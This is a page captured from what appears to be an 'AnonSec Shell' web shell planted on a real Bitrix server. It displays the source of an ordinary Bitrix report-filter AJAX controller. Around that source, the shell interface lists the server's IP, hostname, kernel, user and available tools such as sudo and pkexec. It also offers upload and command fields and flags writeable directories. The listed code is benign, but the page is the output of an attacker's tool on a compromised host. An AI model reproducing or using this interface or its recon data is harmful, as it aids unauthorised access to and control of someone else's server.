AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.118.138.16
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/components/bitrix/report.filter.field.selector/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/components/bitrix/report.filter.field.selector/ajax.php
<?php

use Bitrix\Crm\UserField\Types\ElementType;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Loader;
use Bitrix\Main\UI\Selector\Entities;
use Bitrix\Report\Internals\Controller;
use Bitrix\Main\Error;



require_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/prolog_before.php');

if (
	!Loader::IncludeModule('report') ||
	!\Bitrix\Main\Application::getInstance()
		->getContext()
		->getRequest()
		->getQuery('action')
)
{
	return;
}

Loc::loadMessages(__FILE__);

class ReportFilterFieldSelectorController extends Controller
{
	const ERROR_USER_FIELD_NOT_FOUND = 'REPORT_FFSAC_22001';

	protected function listActions()
	{
		return [
			'LoadEnumerationValues' => [
				'method' => ['POST']
			],
			'CrmElementSearch' => [
				'method' => ['POST']
			],
		];
	}

	protected function processActionLoadEnumerationValues()
	{
		/** @global CUserTypeManager $USER_FIELD_MANAGER */
		global $USER_FIELD_MANAGER;

		$this->checkRequiredPostParams(array('entityId', 'fieldName'));
		if($this->errorCollection->count())
		{
			$this->sendJsonErrorResponse();
		}

		$userTypeId = 'enumeration';
		$entityId = $this->request->getPost('entityId');
		$fieldName = $this->request->getPost('fieldName');
		$res = CUserTypeEntity::GetList(
			array(),
			array('ENTITY_ID' => $entityId, 'FIELD_NAME' => $fieldName)
		);
		if (!$field = $res->Fetch())
		{
			$this->errorCollection->add(
				array(
					new Error(
						Loc::getMessage(
							'REPORT_ERR_USER_FIELD_NOT_FOUND',
							array(
								'ENTITY_ID' => $entityId,
								'FIELD_NAME' => $fieldName
							)
						),
						self::ERROR_USER_FIELD_NOT_FOUND
					)
				)
			);
			$this->sendJsonErrorResponse();
		}

		$enumValues = array();
		if (is_array($field) && isset($field['USER_TYPE_ID']) && $field['USER_TYPE_ID'] === $userTypeId)
		{
			$fieldType = $USER_FIELD_MANAGER->getUserType($field['USER_TYPE_ID']);
			if (is_array($fieldType) && isset($fieldType['BASE_TYPE']) && $fieldType['BASE_TYPE'] === 'enum'
				&& isset($fieldType['CLASS_NAME']) && !empty($fieldType['CLASS_NAME'])
				&& is_callable(array($fieldType['CLASS_NAME'], 'GetList')))
			{
				$rsEnum = call_user_func_array(array($fieldType['CLASS_NAME'], 'GetList'), array($field));
				while ($row = $rsEnum->Fetch())
				{
					$enumValues[] = array(
						'id' => $row['ID'],
						'title' => $row['VALUE']
					);
				}
			}
		}

		$this->sendJsonSuccessResponse(array('ITEMS' => $enumValues));
	}

	protected function processActionCrmElementSearch(): void
	{
		$result = [];

		if (Loader::includeModule('crm'))
		{
			$entityTypeName = $this->request->getPost('ENTITY_TYPE');
			$entityTypeId = CCrmOwnerType::Undefined;
			if (is_string($entityTypeName) && $entityTypeName !== '')
			{
				$entityTypeId = CCrmOwnerType::ResolveId($entityTypeName);
			}
			if ($entityTypeId !== CCrmOwnerType::Undefined)
			{
				$data = [];
				$settings = [mb_strtoupper($entityTypeName) => 'Y'];
				$selectorParams = ElementType::getDestSelectorParametersForFilter($settings, true);
				$selectorEntityTypeOptions = ElementType::getDestSelectorOptions($selectorParams);
				$searchString = $this->request->getPost('VALUE');
				if (is_string($searchString) && $searchString !== '' && $searchString !== '[]')
				{
					$matches = [];
					if (preg_match('/^\\[(\\d+)]$/', $searchString, $matches))
					{
						$id = (int)$matches[1];
						$providerEntityType = '';
						if ($description = reset($selectorEntityTypeOptions))
						{
							$providerEntityType = key($selectorEntityTypeOptions);
							$provider = Entities::getProviderByEntityType($providerEntityType);
							if (
								$provider !== false
								&& is_callable([$provider, 'getByIds'])
							)
							{
								$options = (!empty($description['options']) ? $description['options'] : array());
								$data = [
									'ENTITIES' => [
										$providerEntityType => [
											'ITEMS' => $provider->getByIds([$id], $options)
										]
									]
								];
							}
						}
						unset($id, $providerEntityType, $description, $options);
					}
					else
					{
						$data = Entities::search(
							$selectorParams,
							$selectorEntityTypeOptions,
							['searchString' => $searchString]
						);
					}

					$useIdPrefix = ($this->request->getPost('MULTI') === 'Y');
					$idPrefix = $useIdPrefix ? CCrmOwnerTypeAbbr::ResolveByTypeName($entityTypeName) . '_' : '';
					if (is_array($data['ENTITIES']))
					{
						foreach ($data['ENTITIES'] as $entities)
						{
							if (is_array($entities['ITEMS']))
							{
								foreach ($entities['ITEMS'] as $item)
								{
									$result[] = [
										'id' => $useIdPrefix ? $idPrefix . $item['entityId'] : $item['entityId'],
										'type' => $entityTypeName,
										'title' => htmlspecialcharsback($item['name']) ?? '',
										'desc' => htmlspecialcharsback($item['desc']) ?? '',
										'url' => $item['url'] ?? '',
										'selected' => 'N',
										'image' => $item['avatar'] ?? '',
									];
								}
							}
						}
					}
				}
			}
		}

		$this->sendJsonSuccessResponse($result);
	}
}

$controller = new ReportFilterFieldSelectorController();
$controller->setActionName(
	\Bitrix\Main\Application::getInstance()->getContext()->getRequest()->getQuery('action')
)->exec();

Anon7 - 2022
AnonSec Team